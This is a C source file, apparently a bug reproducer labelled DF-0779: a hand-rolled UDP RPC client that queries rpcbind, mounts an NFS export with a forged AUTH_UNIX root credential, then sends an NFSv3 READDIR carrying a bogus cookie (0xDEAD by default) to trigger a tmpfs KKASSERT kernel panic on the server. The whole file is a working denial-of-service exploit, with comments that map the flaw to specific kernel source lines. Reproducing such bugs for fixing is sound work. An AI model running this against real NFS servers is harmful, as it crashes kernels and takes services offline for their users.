/*
 * DF-0779 - raw NFSv3 READDIR client that sends a BOGUS readdir cookie
 * to reproduce the tmpfs_readdir KKASSERT panic on the NFS-server path.
 *
 * Faithful to the bug: nfs_serv.c:2963 takes the client's cookie raw
 * (fxdr_hyper, no validation), nfs_serv.c:3035 sets io.uio_offset to it,
 * nfs_serv.c:3045 calls VOP_READDIR(vp,&io,...,&ncookies,&cookies) on the
 * tmpfs dir with NON-NULL cookies -> tmpfs_vnops.c:1697 cookie block is
 * entered with startoff = <our bogus cookie>. First loop iter: de==NULL,
 * tmpfs_dir_lookupbycookie(node,off,exact=1) returns NULL for a cookie
 * that does not map to any real dirent -> KKASSERT(de != NULL) at
 * tmpfs_vnops.c:1719 -> kernel panic.
 *
 * We use raw UDP RPC (no librpc), hand-rolled XDR. Two calls:
 *   1. MOUNT v3 proc 1 (MNTPROC_MNT) of the export path -> get fhandle3.
 *   2. NFS v3 proc 16 (NFSPROC_READDIR) with that fh + cookie = <bogus>.
 *
 * ports: mountd and nfs looked up via rpcbind GETPORT (prog 100000 proc 3).
 */
#include <sys/param.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <errno.h>

#define MOUNTD_PROG 100005
#define MOUNTD_VERS 3
#define NFSPROC_MNT 1

#define NFS_PROG 100003
#define NFS_VERS 3
#define NFSPROC_READDIR 16

#define RPCBIND_PROG 100000
#define RPCBIND_VERS 2
#define RPCB_GETPORT 3

static uint32_t g_xid = 0xfeed0001;

static void put32(uint8_t **p, uint32_t v) {
    v = htonl(v);
    memcpy(*p, &v, 4); *p += 4;
}
static uint32_t get32(uint8_t **p) {
    uint32_t v; memcpy(&v, *p, 4); *p += 4; return ntohl(v);
}
static void getbytes(uint8_t **p, void *dst, size_t n) {
    memcpy(dst, *p, n); *p += n;
}

/* build AUTH_UNIX credential body (flavor 1). Forged root cred. */
static size_t make_auth_unix(uint8_t *body)
{
    uint8_t *b = body;
    put32(&b, 0x12345678);             /* stamp */
    const char *mach = "dfbsd";
    size_t mlen = strlen(mach), pad = (mlen+3)&~3u;
    put32(&b, (uint32_t)mlen);
    memcpy(b, mach, mlen); b += mlen;
    if (pad > mlen) { memset(b, 0, pad-mlen); b += (pad-mlen); }
    put32(&b, 0);                      /* uid=0 root */
    put32(&b, 0);                      /* gid=0 wheel */
    put32(&b, 0);                      /* gids length 0 */
    return (size_t)(b - body);
}

/* build a complete UDP RPC call body into buf; return total len */
static int build_call(uint8_t *buf, uint32_t xid, uint32_t prog, uint32_t vers,
                      uint32_t proc, const uint8_t *args, size_t alen)
{
    uint8_t *start = buf;
    /* record mark: not needed for UDP; omit it. */
    put32(&buf, xid);            /* xid */
    put32(&buf, 0);              /* msg type CALL */
    put32(&buf, 2);              /* rpc vers 2 */
    put32(&buf, prog);
    put32(&buf, vers);
    put32(&buf, proc);
    /* auth cred: AUTH_UNIX (flavor 1) */
    uint8_t authbuf[256];
    size_t authlen = make_auth_unix(authbuf);
    put32(&buf, 1);              /* flavor AUTH_UNIX */
    put32(&buf, (uint32_t)authlen);
    memcpy(buf, authbuf, authlen); buf += authlen;
    /* auth verifier: AUTH_NONE */
    put32(&buf, 0);              /* flavor */
    put32(&buf, 0);              /* body len */
    /* args */
    if (alen) { memcpy(buf, args, alen); buf += alen; }
    return (int)(buf - start);
}

static int udp_rpc(struct sockaddr_in *sin, const uint8_t *req, int reqlen,
                   uint8_t *reply, int replymax)
{
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return -1; }
    struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
    setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    if (connect(s, (struct sockaddr*)sin, sizeof(*sin)) < 0) {
        perror("connect"); close(s); return -1;
    }
    if (send(s, req, reqlen, 0) != reqlen) {
        perror("send"); close(s); return -1;
    }
    int n = recv(s, reply, replymax, 0);
    close(s);
    return n;
}

static uint16_t rpcb_getport(struct sockaddr_in *sin, uint32_t prog, uint32_t vers)
{
    uint8_t args[64], *a = args;
    put32(&a, prog); put32(&a, vers); put32(&a, 17 /*IPPROTO_UDP*/); put32(&a, 0);
    int alen = (int)(a - args);
    uint8_t req[256], reply[1024];
    int rl = build_call(req, g_xid++, RPCBIND_PROG, RPCBIND_VERS, RPCB_GETPORT, args, alen);
    int n = udp_rpc(sin, req, rl, reply, sizeof(reply));
    if (n < 24) return 0;
    /* skip xid, msgtype(must be 1=REPLY), reply_state_id, accept_state,
       then verifier flavor+len, then reply_body port (uint32) */
    uint8_t *p = reply;
    (void)get32(&p);             /* xid */
    uint32_t mtype = get32(&p);  /* 1 = REPLY */
    if (mtype != 1) return 0;
    uint32_t rstat = get32(&p);  /* 0 = MSG_ACCEPTED */
    if (rstat != 0) return 0;
    /* verifier flavor, len */
    uint32_t vfl = get32(&p);
    uint32_t vlen = get32(&p);
    p += vlen;
    uint32_t astat = get32(&p);  /* 0 = SUCCESS */
    if (astat != 0) return 0;
    uint32_t port = get32(&p);
    return (uint16_t)port;
}

int main(int argc, char **argv)
{
    struct sockaddr_in rpcb_sin;
    memset(&rpcb_sin, 0, sizeof(rpcb_sin));
    rpcb_sin.sin_family = AF_INET;
    rpcb_sin.sin_port = htons(111);
    rpcb_sin.sin_addr.s_addr = inet_addr("127.0.0.1");

    const char *path = "/tmp/df0779_export";
    if (argc > 1) path = argv[1];

    /* 1. find mountd and nfs ports via rpcbind */
    uint16_t mountd_port = rpcb_getport(&rpcb_sin, MOUNTD_PROG, MOUNTD_VERS);
    uint16_t nfs_port    = rpcb_getport(&rpcb_sin, NFS_PROG,    NFS_VERS);
    printf("mountd port=%u  nfs port=%u\n", mountd_port, nfs_port);
    if (!mountd_port || !nfs_port) {
        fprintf(stderr, "FAIL: rpcbind did not return ports (mountd=%u nfs=%u)\n",
                mountd_port, nfs_port);
        return 2;
    }

    /* 2. MOUNT v3 proc 1: arg = path string (XDR string) */
    {
        size_t plen = strlen(path);
        size_t padded = (plen + 3) & ~3u;
        uint8_t args[512], *a = args;
        put32(&a, (uint32_t)plen);
        memcpy(a, path, plen); a += plen;
        if (padded > plen) { memset(a, 0, padded - plen); a += (padded - plen); }
        int alen = (int)(a - args);
        uint8_t req[512], reply[4096];
        int rl = build_call(req, g_xid++, MOUNTD_PROG, MOUNTD_VERS, NFSPROC_MNT, args, alen);
        struct sockaddr_in msin = rpcb_sin; msin.sin_port = htons(mountd_port);
        int n = udp_rpc(&msin, req, rl, reply, sizeof(reply));
        if (n < 24) { fprintf(stderr, "MOUNT: no reply (n=%d)\n", n); return 3; }
        uint8_t *p = reply;
        (void)get32(&p); uint32_t mtype = get32(&p);
        if (mtype != 1) { fprintf(stderr,"MOUNT: not a reply\n"); return 3; }
        uint32_t rstat = get32(&p);
        if (rstat != 0) { fprintf(stderr,"MOUNT: reply rstat=%u\n", rstat); return 3; }
        uint32_t vfl = get32(&p), vlen = get32(&p); p += vlen;
        uint32_t astat = get32(&p);
        if (astat != 0) { fprintf(stderr,"MOUNT: denied astat=%u\n", astat); return 3; }
        /* mountres3: fhs_status(uint32), then fhandle3 = {len, opaque, pad} */
        uint32_t fhs_status = get32(&p);
        printf("MOUNT fhs_status=%u\n", fhs_status);
        if (fhs_status != 0) { fprintf(stderr,"MOUNT failed status=%u\n", fhs_status); return 4; }
        uint32_t fhlen = get32(&p);
        if (fhlen == 0 || fhlen > 256) { fprintf(stderr,"MOUNT bad fhlen=%u\n", fhlen); return 4; }
        uint8_t fh[256]; memset(fh,0,sizeof(fh));
        getbytes(&p, fh, fhlen);
        size_t fhpadded = (fhlen + 3) & ~3u;
        p += (fhpadded - fhlen);
        printf("MOUNT ok: fhlen=%u (host bytes: ", fhlen);
        for (uint32_t i=0;i<fhlen;i++) printf("%02x", fh[i]);
        printf(")\n");

        /* 3. READDIR3 proc 16: args = { fh (opaque<,len>), cookie3 uint64,
         *    cookieverf3 opaque<8>, count3 uint32 } */
        uint8_t rargs[512], *q = rargs;
        /* fhandle3 as opaque<>: len + bytes + pad */
        put32(&q, fhlen);
        memcpy(q, fh, fhlen); q += fhlen;
        if (fhpadded > fhlen) { memset(q,0,fhpadded-fhlen); q += (fhpadded-fhlen); }
        /* cookie3 (uint64) -- the BOGUS cookie. Use 0xDEAD which maps to
         * tmpfs_cookiedir(0xDEAD) = (void*)(0xDEAD<<1) -- never a real
         * tmpfs dirent pointer -> tmpfs_dir_lookupbycookie exact=NULL -> panic */
        uint64_t bogus_cookie;
        uint64_t want;
        if (argc > 2) {
            want = (uint64_t)strtoull(argv[2], NULL, 0);
        } else {
            want = 0xDEAD;
        }
        bogus_cookie = want;
        uint32_t hi = (uint32_t)(bogus_cookie >> 32);
        uint32_t lo = (uint32_t)(bogus_cookie & 0xffffffffu);
        put32(&q, hi); put32(&q, lo);
        /* cookieverf3: opaque<8> -> len(8) + 8 bytes */
        put32(&q, 8);
        memset(q, 0, 8); q += 8;
        /* count3 */
        put32(&q, 8192);
        int ralen = (int)(q - rargs);
        uint8_t rreq[512], rreply[65536];
        int rrl = build_call(rreq, g_xid++, NFS_PROG, NFS_VERS, NFSPROC_READDIR, rargs, ralen);
        printf("READDIR3: fh + bogus cookie=0x%016llx -- sending...\n",
               (unsigned long long)bogus_cookie);
        struct sockaddr_in nsin = rpcb_sin; nsin.sin_port = htons(nfs_port);
        int rn = udp_rpc(&nsin, rreq, rrl, rreply, sizeof(rreply));
        printf("READDIR3 reply: %d bytes (if we got here, no panic; if "
               "guest is gone, that is the panic)\n", rn);
        if (rn < 0) {
            printf("READDIR3: recv returned %d (errno=%d %s) -- likely guest "
                   "panicked mid-reply (socket RCVTIMEO)\n", rn, errno,
                   strerror(errno));
        } else {
            uint8_t *pp = rreply;
            (void)get32(&pp);
            uint32_t mt = get32(&pp);
            (void)get32(&pp);
            if (mt==1){ uint32_t rs=get32(&pp); printf("  reply msg rstat=%u\n",rs);}
        }
    }
    return 0;
}
